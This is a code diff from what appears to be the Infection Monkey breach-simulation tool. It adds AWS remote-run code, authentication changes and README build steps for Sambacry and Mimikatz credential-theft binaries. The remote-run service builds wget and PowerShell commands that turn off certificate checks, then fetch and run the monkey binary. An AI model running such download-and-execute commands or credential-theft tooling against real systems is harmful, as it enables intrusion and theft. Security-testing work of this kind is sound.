||||||
a. Build/Download according to sections at the end of this readme.
|
a. Build/Download according to sections at the end of this readme.
|
||||||
b. Place the binaries under [code location]\infection_monkey\bin
|
b. Place the binaries under [code location]\infection_monkey\bin
|
||||||
9. To build the final exe:
|
7. To build the final exe:
|
||||||
cd [code location]/infection_monkey
|
cd [code location]/infection_monkey
|
||||||
build_windows.bat
|
build_windows.bat
|
||||||
output is placed under dist\monkey.exe
|
output is placed under dist\monkey.exe
|
||||||
|
@ -48,11 +42,14 @@ Tested on Ubuntu 16.04 and 17.04.
|
||||||
sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
|
sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
|
||||||
Install the python packages listed in requirements.txt using pip
|
Install the python packages listed in requirements.txt using pip
|
||||||
cd [code location]/infection_monkey
|
cd [code location]/infection_monkey
|
||||||
pip install -r requirements.txt
|
pip install -r requirements_linux.txt
|
||||||
2. Build Sambacry binaries
|
2. Build Sambacry binaries
|
||||||
a. Build/Download according to sections at the end of this readme.
|
a. Build/Download according to sections at the end of this readme.
|
||||||
b. Place the binaries under [code location]\infection_monkey\bin
|
b. Place the binaries under [code location]\infection_monkey\bin, under the names 'sc_monkey_runner32.so', 'sc_monkey_runner64.so'
|
||||||
3. To build, run in terminal:
|
3. Build Traceroute binaries
|
||||||
|
a. Build/Download according to sections at the end of this readme.
|
||||||
|
b. Place the binaries under [code location]\infection_monkey\bin, under the names 'traceroute32', 'traceroute64'
|
||||||
|
4. To build, run in terminal:
|
||||||
cd [code location]/infection_monkey
|
cd [code location]/infection_monkey
|
||||||
chmod +x build_linux.sh
|
chmod +x build_linux.sh
|
||||||
./build_linux.sh
|
./build_linux.sh
|
||||||
|
@ -61,19 +58,45 @@ Tested on Ubuntu 16.04 and 17.04.
|
||||||
-- Sambacry --
|
-- Sambacry --
|
||||||
|
|
||||||
Sambacry requires two standalone binaries to execute remotely.
|
Sambacry requires two standalone binaries to execute remotely.
|
||||||
1. Install gcc-multilib if it's not installed
|
a. Build sambacry binaries yourself
|
||||||
sudo apt-get install gcc-multilib
|
a.1. Install gcc-multilib if it's not installed
|
||||||
2. Build the binaries
|
sudo apt-get install gcc-multilib
|
||||||
cd [code location]/infection_monkey/monkey_utils/sambacry_monkey_runner
|
a.2. Build the binaries
|
||||||
./build.sh
|
cd [code location]/infection_monkey/monkey_utils/sambacry_monkey_runner
|
||||||
|
./build.sh
|
||||||
|
|
||||||
|
b. Download our pre-built sambacry binaries
|
||||||
|
b.1. Available here:
|
||||||
|
32bit: https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner32.so
|
||||||
|
64bit: https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner64.so
|
||||||
|
|
||||||
-- Mimikatz --
|
-- Mimikatz --
|
||||||
|
|
||||||
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from
|
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from
|
||||||
https://github.com/guardicore/mimikatz/releases/tag/1.0.0
|
You can either build them yourself or download pre-built binaries.
|
||||||
Download both 32 and 64 bit zipped DLLs and place them under [code location]\infection_monkey\bin
|
a. Build Mimikatz yourself
|
||||||
Alternatively, if you build Mimikatz, put each version in a zip file.
|
a.0. Building mimikatz requires Visual Studio 2013 and up
|
||||||
1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll
|
a.1. Clone our version of mimikatz from https://github.com/guardicore/mimikatz/tree/1.1.0
|
||||||
2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'.
|
a.2. Build using Visual Studio.
|
||||||
3. The zip file should be named mk32.zip/mk64.zip accordingly.
|
a.3. Put each version in a zip file
|
||||||
4. Zipping with 7zip has been tested. Other zipping software may not work.
|
a.3.1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll
|
||||||
|
a.3.2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'.
|
||||||
|
a.3.3. The zip file should be named mk32.zip/mk64.zip accordingly.
|
||||||
|
a.3.4. Zipping with 7zip has been tested. Other zipping software may not work.
|
||||||
|
|
||||||
|
b. Download our pre-built traceroute binaries
|
||||||
|
b.1. Download both 32 and 64 bit zipped DLLs from https://github.com/guardicore/mimikatz/releases/tag/1.1.0
|
||||||
|
b.2. Place them under [code location]\infection_monkey\bin
|
||||||
|
|
||||||
|
-- Traceroute --
|
||||||
|
|
||||||
|
Traceroute requires two standalone binaries to execute remotely.
|
||||||
|
The monkey carries the standalone binaries since traceroute isn't built in all Linux distributions.
|
||||||
|
You can either build them yourself or download pre-built binaries.
|
||||||
|
|
||||||
|
a. Build traceroute yourself
|
||||||
|
a.1. The sources of traceroute are available here with building instructions: http://traceroute.sourceforge.net
|
||||||
|
b. Download our pre-built traceroute binaries
|
||||||
|
b.1. Available here:
|
||||||
|
32bit: https://github.com/guardicore/monkey/releases/download/1.6/traceroute32
|
||||||
|
64bit: https://github.com/guardicore/monkey/releases/download/1.6/traceroute64
|
||||||
|
|
|
@ -0,0 +1,19 @@
|
||||||
|
enum34
|
||||||
|
impacket
|
||||||
|
pycryptodome
|
||||||
|
pyasn1
|
||||||
|
cffi
|
||||||
|
twisted
|
||||||
|
rdpy
|
||||||
|
requests
|
||||||
|
odict
|
||||||
|
paramiko
|
||||||
|
psutil==3.4.2
|
||||||
|
PyInstaller
|
||||||
|
six
|
||||||
|
ecdsa
|
||||||
|
netifaces
|
||||||
|
ipaddress
|
||||||
|
wmi
|
||||||
|
pymssql
|
||||||
|
pyftpdlib
|
|
@ -1,6 +1,6 @@
|
||||||
enum34
|
enum34
|
||||||
impacket
|
impacket
|
||||||
PyCrypto
|
pycryptodome
|
||||||
pyasn1
|
pyasn1
|
||||||
cffi
|
cffi
|
||||||
twisted
|
twisted
|
|
@ -1,6 +1,6 @@
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
from common.cloud.aws import AWS
|
from common.cloud.aws_instance import AwsInstance
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
@ -15,7 +15,7 @@ class AwsCollector(object):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_aws_info():
|
def get_aws_info():
|
||||||
LOG.info("Collecting AWS info")
|
LOG.info("Collecting AWS info")
|
||||||
aws = AWS()
|
aws = AwsInstance()
|
||||||
info = {}
|
info = {}
|
||||||
if aws.is_aws_instance():
|
if aws.is_aws_instance():
|
||||||
LOG.info("Machine is an AWS instance")
|
LOG.info("Machine is an AWS instance")
|
||||||
|
|
|
@ -22,6 +22,7 @@ from cc.resources.island_configuration import IslandConfiguration
|
||||||
from cc.resources.monkey_download import MonkeyDownload
|
from cc.resources.monkey_download import MonkeyDownload
|
||||||
from cc.resources.netmap import NetMap
|
from cc.resources.netmap import NetMap
|
||||||
from cc.resources.node import Node
|
from cc.resources.node import Node
|
||||||
|
from cc.resources.remote_run import RemoteRun
|
||||||
from cc.resources.report import Report
|
from cc.resources.report import Report
|
||||||
from cc.resources.root import Root
|
from cc.resources.root import Root
|
||||||
from cc.resources.telemetry import Telemetry
|
from cc.resources.telemetry import Telemetry
|
||||||
|
@ -115,5 +116,6 @@ def init_app(mongo_url):
|
||||||
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
|
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
|
||||||
api.add_resource(Log, '/api/log', '/api/log/')
|
api.add_resource(Log, '/api/log', '/api/log/')
|
||||||
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
|
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
|
||||||
|
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
|
||||||
|
|
||||||
return app
|
return app
|
||||||
|
|
|
@ -33,20 +33,18 @@ def init_jwt(app):
|
||||||
user_id = payload['identity']
|
user_id = payload['identity']
|
||||||
return userid_table.get(user_id, None)
|
return userid_table.get(user_id, None)
|
||||||
|
|
||||||
if env.is_auth_enabled():
|
JWT(app, authenticate, identity)
|
||||||
JWT(app, authenticate, identity)
|
|
||||||
|
|
||||||
|
|
||||||
def jwt_required(realm=None):
|
def jwt_required(realm=None):
|
||||||
def wrapper(fn):
|
def wrapper(fn):
|
||||||
@wraps(fn)
|
@wraps(fn)
|
||||||
def decorator(*args, **kwargs):
|
def decorator(*args, **kwargs):
|
||||||
if env.is_auth_enabled():
|
try:
|
||||||
try:
|
_jwt_required(realm or current_app.config['JWT_DEFAULT_REALM'])
|
||||||
_jwt_required(realm or current_app.config['JWT_DEFAULT_REALM'])
|
return fn(*args, **kwargs)
|
||||||
except JWTError:
|
except JWTError:
|
||||||
abort(401)
|
abort(401)
|
||||||
return fn(*args, **kwargs)
|
|
||||||
|
|
||||||
return decorator
|
return decorator
|
||||||
|
|
||||||
|
|
|
@ -39,7 +39,7 @@ class Encryptor:
|
||||||
def enc(self, message):
|
def enc(self, message):
|
||||||
cipher_iv = Random.new().read(AES.block_size)
|
cipher_iv = Random.new().read(AES.block_size)
|
||||||
cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv)
|
cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv)
|
||||||
return base64.b64encode(cipher_iv + cipher.encrypt(self._pad(message)))
|
return base64.b64encode(cipher_iv + cipher.encrypt(str(self._pad(message)))) # ciper.encrypt expects str
|
||||||
|
|
||||||
def dec(self, enc_message):
|
def dec(self, enc_message):
|
||||||
enc_message = base64.b64decode(enc_message)
|
enc_message = base64.b64decode(enc_message)
|
||||||
|
|
|
@ -1,6 +1,7 @@
|
||||||
import abc
|
import abc
|
||||||
from datetime import timedelta
|
from datetime import timedelta
|
||||||
import os
|
import os
|
||||||
|
from Crypto.Hash import SHA3_512
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
@ -13,6 +14,12 @@ class Environment(object):
|
||||||
_DEBUG_SERVER = False
|
_DEBUG_SERVER = False
|
||||||
_AUTH_EXPIRATION_TIME = timedelta(hours=1)
|
_AUTH_EXPIRATION_TIME = timedelta(hours=1)
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.config = None
|
||||||
|
|
||||||
|
def set_config(self, config):
|
||||||
|
self.config = config
|
||||||
|
|
||||||
def get_island_port(self):
|
def get_island_port(self):
|
||||||
return self._ISLAND_PORT
|
return self._ISLAND_PORT
|
||||||
|
|
||||||
|
@ -25,9 +32,10 @@ class Environment(object):
|
||||||
def get_auth_expiration_time(self):
|
def get_auth_expiration_time(self):
|
||||||
return self._AUTH_EXPIRATION_TIME
|
return self._AUTH_EXPIRATION_TIME
|
||||||
|
|
||||||
@abc.abstractmethod
|
def hash_secret(self, secret):
|
||||||
def is_auth_enabled(self):
|
h = SHA3_512.new()
|
||||||
return
|
h.update(secret)
|
||||||
|
return h.hexdigest()
|
||||||
|
|
||||||
@abc.abstractmethod
|
@abc.abstractmethod
|
||||||
def get_auth_users(self):
|
def get_auth_users(self):
|
||||||
|
|
|
@ -1,6 +1,7 @@
|
||||||
import cc.auth
|
import cc.auth
|
||||||
from cc.environment import Environment
|
from cc.environment import Environment
|
||||||
from common.cloud.aws import AWS
|
from common.cloud.aws_instance import AwsInstance
|
||||||
|
from Crypto.Hash import SHA3_512
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
@ -8,7 +9,7 @@ __author__ = 'itay.mizeretz'
|
||||||
class AwsEnvironment(Environment):
|
class AwsEnvironment(Environment):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
super(AwsEnvironment, self).__init__()
|
super(AwsEnvironment, self).__init__()
|
||||||
self.aws_info = AWS()
|
self.aws_info = AwsInstance()
|
||||||
self._instance_id = self._get_instance_id()
|
self._instance_id = self._get_instance_id()
|
||||||
self.region = self._get_region()
|
self.region = self._get_region()
|
||||||
|
|
||||||
|
@ -18,10 +19,7 @@ class AwsEnvironment(Environment):
|
||||||
def _get_region(self):
|
def _get_region(self):
|
||||||
return self.aws_info.get_region()
|
return self.aws_info.get_region()
|
||||||
|
|
||||||
def is_auth_enabled(self):
|
|
||||||
return True
|
|
||||||
|
|
||||||
def get_auth_users(self):
|
def get_auth_users(self):
|
||||||
return [
|
return [
|
||||||
cc.auth.User(1, 'monkey', self._instance_id)
|
cc.auth.User(1, 'monkey', self.hash_secret(self._instance_id))
|
||||||
]
|
]
|
||||||
|
|
|
@ -1,16 +1,22 @@
|
||||||
import json
|
import json
|
||||||
import logging
|
import logging
|
||||||
import standard
|
|
||||||
import aws
|
from cc.environment import standard
|
||||||
|
from cc.environment import aws
|
||||||
|
from cc.environment import password
|
||||||
|
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
AWS = 'aws'
|
AWS = 'aws'
|
||||||
STANDARD = 'standard'
|
STANDARD = 'standard'
|
||||||
|
PASSWORD = 'password'
|
||||||
|
|
||||||
ENV_DICT = {
|
ENV_DICT = {
|
||||||
'standard': standard.StandardEnvironment,
|
STANDARD: standard.StandardEnvironment,
|
||||||
'aws': aws.AwsEnvironment
|
AWS: aws.AwsEnvironment,
|
||||||
|
PASSWORD: password.PasswordEnvironment,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@ -25,8 +31,10 @@ def load_env_from_file():
|
||||||
return config_json['server_config']
|
return config_json['server_config']
|
||||||
|
|
||||||
try:
|
try:
|
||||||
__env_type = load_env_from_file()
|
config_json = load_server_configuration_from_file()
|
||||||
|
__env_type = config_json['server_config']
|
||||||
env = ENV_DICT[__env_type]()
|
env = ENV_DICT[__env_type]()
|
||||||
|
env.set_config(config_json)
|
||||||
logger.info('Monkey\'s env is: {0}'.format(env.__class__.__name__))
|
logger.info('Monkey\'s env is: {0}'.format(env.__class__.__name__))
|
||||||
except Exception:
|
except Exception:
|
||||||
logger.error('Failed initializing environment', exc_info=True)
|
logger.error('Failed initializing environment', exc_info=True)
|
||||||
|
|
|
@ -0,0 +1,12 @@
|
||||||
|
from cc.environment import Environment
|
||||||
|
import cc.auth
|
||||||
|
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
|
||||||
|
class PasswordEnvironment(Environment):
|
||||||
|
|
||||||
|
def get_auth_users(self):
|
||||||
|
return [
|
||||||
|
cc.auth.User(1, self.config['user'], self.config['hash'])
|
||||||
|
]
|
|
@ -1,12 +1,15 @@
|
||||||
|
import cc.auth
|
||||||
from cc.environment import Environment
|
from cc.environment import Environment
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
|
||||||
class StandardEnvironment(Environment):
|
class StandardEnvironment(Environment):
|
||||||
|
# SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
|
||||||
def is_auth_enabled(self):
|
NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \
|
||||||
return False
|
'8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557'
|
||||||
|
|
||||||
def get_auth_users(self):
|
def get_auth_users(self):
|
||||||
return []
|
return [
|
||||||
|
cc.auth.User(1, StandardEnvironment.NO_AUTH_CREDS, StandardEnvironment.NO_AUTH_CREDS)
|
||||||
|
]
|
||||||
|
|
|
@ -7,7 +7,7 @@ from botocore.exceptions import UnknownServiceError
|
||||||
from cc.resources.exporter import Exporter
|
from cc.resources.exporter import Exporter
|
||||||
from cc.services.config import ConfigService
|
from cc.services.config import ConfigService
|
||||||
from cc.environment.environment import load_server_configuration_from_file
|
from cc.environment.environment import load_server_configuration_from_file
|
||||||
from common.cloud.aws import AWS
|
from common.cloud.aws_instance import AwsInstance
|
||||||
|
|
||||||
__author__ = 'maor.rayzin'
|
__author__ = 'maor.rayzin'
|
||||||
|
|
||||||
|
@ -23,7 +23,7 @@ class AWSExporter(Exporter):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def handle_report(report_json):
|
def handle_report(report_json):
|
||||||
aws = AWS()
|
aws = AwsInstance()
|
||||||
findings_list = []
|
findings_list = []
|
||||||
issues_list = report_json['recommendations']['issues']
|
issues_list = report_json['recommendations']['issues']
|
||||||
if not issues_list:
|
if not issues_list:
|
||||||
|
|
|
@ -0,0 +1,48 @@
|
||||||
|
import json
|
||||||
|
from flask import request, jsonify, make_response
|
||||||
|
import flask_restful
|
||||||
|
|
||||||
|
from cc.auth import jwt_required
|
||||||
|
from cc.services.remote_run_aws import RemoteRunAwsService
|
||||||
|
from common.cloud.aws_service import AwsService
|
||||||
|
|
||||||
|
|
||||||
|
class RemoteRun(flask_restful.Resource):
|
||||||
|
def __init__(self):
|
||||||
|
super(RemoteRun, self).__init__()
|
||||||
|
RemoteRunAwsService.init()
|
||||||
|
|
||||||
|
def run_aws_monkeys(self, request_body):
|
||||||
|
instances = request_body.get('instances')
|
||||||
|
island_ip = request_body.get('island_ip')
|
||||||
|
return RemoteRunAwsService.run_aws_monkeys(instances, island_ip)
|
||||||
|
|
||||||
|
@jwt_required()
|
||||||
|
def get(self):
|
||||||
|
action = request.args.get('action')
|
||||||
|
if action == 'list_aws':
|
||||||
|
is_aws = RemoteRunAwsService.is_running_on_aws()
|
||||||
|
resp = {'is_aws': is_aws}
|
||||||
|
if is_aws:
|
||||||
|
is_auth = RemoteRunAwsService.update_aws_auth_params()
|
||||||
|
resp['auth'] = is_auth
|
||||||
|
if is_auth:
|
||||||
|
resp['instances'] = AwsService.get_instances()
|
||||||
|
return jsonify(resp)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
@jwt_required()
|
||||||
|
def post(self):
|
||||||
|
body = json.loads(request.data)
|
||||||
|
resp = {}
|
||||||
|
if body.get('type') == 'aws':
|
||||||
|
is_auth = RemoteRunAwsService.update_aws_auth_params()
|
||||||
|
resp['auth'] = is_auth
|
||||||
|
if is_auth:
|
||||||
|
result = self.run_aws_monkeys(body)
|
||||||
|
resp['result'] = result
|
||||||
|
return jsonify(resp)
|
||||||
|
|
||||||
|
# default action
|
||||||
|
return make_response({'error': 'Invalid action'}, 500)
|
|
@ -31,11 +31,13 @@ class TelemetryFeed(flask_restful.Resource):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_displayed_telemetry(telem):
|
def get_displayed_telemetry(telem):
|
||||||
|
monkey = NodeService.get_monkey_by_guid(telem['monkey_guid'])
|
||||||
|
default_hostname = "GUID-" + telem['monkey_guid']
|
||||||
return \
|
return \
|
||||||
{
|
{
|
||||||
'id': telem['_id'],
|
'id': telem['_id'],
|
||||||
'timestamp': telem['timestamp'].strftime('%d/%m/%Y %H:%M:%S'),
|
'timestamp': telem['timestamp'].strftime('%d/%m/%Y %H:%M:%S'),
|
||||||
'hostname': NodeService.get_monkey_by_guid(telem['monkey_guid']).get('hostname','missing'),
|
'hostname': monkey.get('hostname', default_hostname) if monkey else default_hostname,
|
||||||
'brief': TELEM_PROCESS_DICT[telem['telem_type']](telem)
|
'brief': TELEM_PROCESS_DICT[telem['telem_type']](telem)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -52,7 +54,7 @@ class TelemetryFeed(flask_restful.Resource):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_state_telem_brief(telem):
|
def get_state_telem_brief(telem):
|
||||||
if telem['data']['done']:
|
if telem['data']['done']:
|
||||||
return 'Monkey died.'
|
return '''Monkey finishing it's execution.'''
|
||||||
else:
|
else:
|
||||||
return 'Monkey started.'
|
return 'Monkey started.'
|
||||||
|
|
||||||
|
|
|
@ -304,7 +304,6 @@ SCHEMA = {
|
||||||
"$ref": "#/definitions/post_breach_acts"
|
"$ref": "#/definitions/post_breach_acts"
|
||||||
},
|
},
|
||||||
"default": [
|
"default": [
|
||||||
"BackdoorUser",
|
|
||||||
],
|
],
|
||||||
"description": "List of actions the Monkey will run post breach"
|
"description": "List of actions the Monkey will run post breach"
|
||||||
},
|
},
|
||||||
|
@ -689,7 +688,6 @@ SCHEMA = {
|
||||||
"default": [
|
"default": [
|
||||||
"SmbExploiter",
|
"SmbExploiter",
|
||||||
"WmiExploiter",
|
"WmiExploiter",
|
||||||
"MSSQLExploiter",
|
|
||||||
"SSHExploiter",
|
"SSHExploiter",
|
||||||
"ShellShockExploiter",
|
"ShellShockExploiter",
|
||||||
"SambaCryExploiter",
|
"SambaCryExploiter",
|
||||||
|
|
|
@ -0,0 +1,138 @@
|
||||||
|
from cc.services.config import ConfigService
|
||||||
|
from common.cloud.aws_instance import AwsInstance
|
||||||
|
from common.cloud.aws_service import AwsService
|
||||||
|
from common.cmd.aws.aws_cmd_runner import AwsCmdRunner
|
||||||
|
from common.cmd.cmd import Cmd
|
||||||
|
from common.cmd.cmd_runner import CmdRunner
|
||||||
|
|
||||||
|
__author__ = "itay.mizeretz"
|
||||||
|
|
||||||
|
|
||||||
|
class RemoteRunAwsService:
|
||||||
|
aws_instance = None
|
||||||
|
is_auth = False
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
pass
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def init():
|
||||||
|
"""
|
||||||
|
Initializes service. Subsequent calls to this function have no effect.
|
||||||
|
Must be called at least once (in entire monkey lifetime) before usage of functions
|
||||||
|
:return: None
|
||||||
|
"""
|
||||||
|
if RemoteRunAwsService.aws_instance is None:
|
||||||
|
RemoteRunAwsService.aws_instance = AwsInstance()
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def run_aws_monkeys(instances, island_ip):
|
||||||
|
"""
|
||||||
|
Runs monkeys on the given instances
|
||||||
|
:param instances: List of instances to run on
|
||||||
|
:param island_ip: IP of island the monkey will communicate with
|
||||||
|
:return: Dictionary with instance ids as keys, and True/False as values if succeeded or not
|
||||||
|
"""
|
||||||
|
instances_bitness = RemoteRunAwsService.get_bitness(instances)
|
||||||
|
return CmdRunner.run_multiple_commands(
|
||||||
|
instances,
|
||||||
|
lambda instance: RemoteRunAwsService.run_aws_monkey_cmd_async(
|
||||||
|
instance['instance_id'], RemoteRunAwsService._is_linux(instance['os']), island_ip,
|
||||||
|
instances_bitness[instance['instance_id']]),
|
||||||
|
lambda _, result: result.is_success)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def is_running_on_aws():
|
||||||
|
return RemoteRunAwsService.aws_instance.is_aws_instance()
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def update_aws_auth_params():
|
||||||
|
"""
|
||||||
|
Updates the AWS authentication parameters according to config
|
||||||
|
:return: True if new params allow successful authentication. False otherwise
|
||||||
|
"""
|
||||||
|
access_key_id = ConfigService.get_config_value(['cnc', 'aws_config', 'aws_access_key_id'], False, True)
|
||||||
|
secret_access_key = ConfigService.get_config_value(['cnc', 'aws_config', 'aws_secret_access_key'], False, True)
|
||||||
|
|
||||||
|
if (access_key_id != AwsService.access_key_id) or (secret_access_key != AwsService.secret_access_key):
|
||||||
|
AwsService.set_auth_params(access_key_id, secret_access_key)
|
||||||
|
RemoteRunAwsService.is_auth = AwsService.test_client()
|
||||||
|
|
||||||
|
AwsService.set_region(RemoteRunAwsService.aws_instance.region)
|
||||||
|
|
||||||
|
return RemoteRunAwsService.is_auth
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_bitness(instances):
|
||||||
|
"""
|
||||||
|
For all given instances, checks whether they're 32 or 64 bit.
|
||||||
|
:param instances: List of instances to check
|
||||||
|
:return: Dictionary with instance ids as keys, and True/False as values. True if 64bit, False otherwise
|
||||||
|
"""
|
||||||
|
return CmdRunner.run_multiple_commands(
|
||||||
|
instances,
|
||||||
|
lambda instance: RemoteRunAwsService.run_aws_bitness_cmd_async(
|
||||||
|
instance['instance_id'], RemoteRunAwsService._is_linux(instance['os'])),
|
||||||
|
lambda instance, result: RemoteRunAwsService._get_bitness_by_result(
|
||||||
|
RemoteRunAwsService._is_linux(instance['os']), result))
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _get_bitness_by_result(is_linux, result):
|
||||||
|
if not result.is_success:
|
||||||
|
return None
|
||||||
|
elif is_linux:
|
||||||
|
return result.stdout.find('i686') == -1 # i686 means 32bit
|
||||||
|
else:
|
||||||
|
return result.stdout.lower().find('programfiles(x86)') != -1 # if not found it means 32bit
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def run_aws_bitness_cmd_async(instance_id, is_linux):
|
||||||
|
"""
|
||||||
|
Runs an AWS command to check bitness
|
||||||
|
:param instance_id: Instance ID of target
|
||||||
|
:param is_linux: Whether target is linux
|
||||||
|
:return: Cmd
|
||||||
|
"""
|
||||||
|
cmd_text = 'uname -m' if is_linux else 'Get-ChildItem Env:'
|
||||||
|
return RemoteRunAwsService.run_aws_cmd_async(instance_id, is_linux, cmd_text)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def run_aws_monkey_cmd_async(instance_id, is_linux, island_ip, is_64bit):
|
||||||
|
"""
|
||||||
|
Runs a monkey remotely using AWS
|
||||||
|
:param instance_id: Instance ID of target
|
||||||
|
:param is_linux: Whether target is linux
|
||||||
|
:param island_ip: IP of the island which the instance will try to connect to
|
||||||
|
:param is_64bit: Whether the instance is 64bit
|
||||||
|
:return: Cmd
|
||||||
|
"""
|
||||||
|
cmd_text = RemoteRunAwsService._get_run_monkey_cmd_line(is_linux, is_64bit, island_ip)
|
||||||
|
return RemoteRunAwsService.run_aws_cmd_async(instance_id, is_linux, cmd_text)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def run_aws_cmd_async(instance_id, is_linux, cmd_line):
|
||||||
|
cmd_runner = AwsCmdRunner(is_linux, instance_id)
|
||||||
|
return Cmd(cmd_runner, cmd_runner.run_command_async(cmd_line))
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _is_linux(os):
|
||||||
|
return 'linux' == os
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _get_run_monkey_cmd_linux_line(bit_text, island_ip):
|
||||||
|
return r'wget --no-check-certificate https://' + island_ip + r':5000/api/monkey/download/monkey-linux-' + \
|
||||||
|
bit_text + r'; chmod +x monkey-linux-' + bit_text + r'; ./monkey-linux-' + bit_text + r' m0nk3y -s ' + \
|
||||||
|
island_ip + r':5000'
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _get_run_monkey_cmd_windows_line(bit_text, island_ip):
|
||||||
|
return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \
|
||||||
|
r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \
|
||||||
|
r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \
|
||||||
|
r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip):
|
||||||
|
bit_text = '64' if is_64bit else '32'
|
||||||
|
return RemoteRunAwsService._get_run_monkey_cmd_linux_line(bit_text, island_ip) if is_linux \
|
||||||
|
else RemoteRunAwsService._get_run_monkey_cmd_windows_line(bit_text, island_ip)
|
File diff suppressed because it is too large
Load Diff
|
@ -90,6 +90,7 @@
|
||||||
"react-router-dom": "^4.3.1",
|
"react-router-dom": "^4.3.1",
|
||||||
"react-table": "^6.8.6",
|
"react-table": "^6.8.6",
|
||||||
"react-toggle": "^4.0.1",
|
"react-toggle": "^4.0.1",
|
||||||
"redux": "^4.0.0"
|
"redux": "^4.0.0",
|
||||||
|
"sha3": "^2.0.0"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -27,31 +27,44 @@ let guardicoreLogoImage = require('../images/guardicore-logo.png');
|
||||||
|
|
||||||
class AppComponent extends AuthComponent {
|
class AppComponent extends AuthComponent {
|
||||||
updateStatus = () => {
|
updateStatus = () => {
|
||||||
if (this.auth.loggedIn()){
|
this.auth.loggedIn()
|
||||||
this.authFetch('/api')
|
.then(res => {
|
||||||
.then(res => res.json())
|
if (this.state.isLoggedIn !== res) {
|
||||||
.then(res => {
|
this.setState({
|
||||||
// This check is used to prevent unnecessary re-rendering
|
isLoggedIn: res
|
||||||
let isChanged = false;
|
});
|
||||||
for (let step in this.state.completedSteps) {
|
}
|
||||||
if (this.state.completedSteps[step] !== res['completed_steps'][step]) {
|
|
||||||
isChanged = true;
|
if (res) {
|
||||||
break;
|
this.authFetch('/api')
|
||||||
}
|
.then(res => res.json())
|
||||||
}
|
.then(res => {
|
||||||
if (isChanged) {
|
// This check is used to prevent unnecessary re-rendering
|
||||||
this.setState({completedSteps: res['completed_steps']});
|
let isChanged = false;
|
||||||
}
|
for (let step in this.state.completedSteps) {
|
||||||
});
|
if (this.state.completedSteps[step] !== res['completed_steps'][step]) {
|
||||||
}
|
isChanged = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (isChanged) {
|
||||||
|
this.setState({completedSteps: res['completed_steps']});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
renderRoute = (route_path, page_component, is_exact_path = false) => {
|
renderRoute = (route_path, page_component, is_exact_path = false) => {
|
||||||
let render_func = (props) => {
|
let render_func = (props) => {
|
||||||
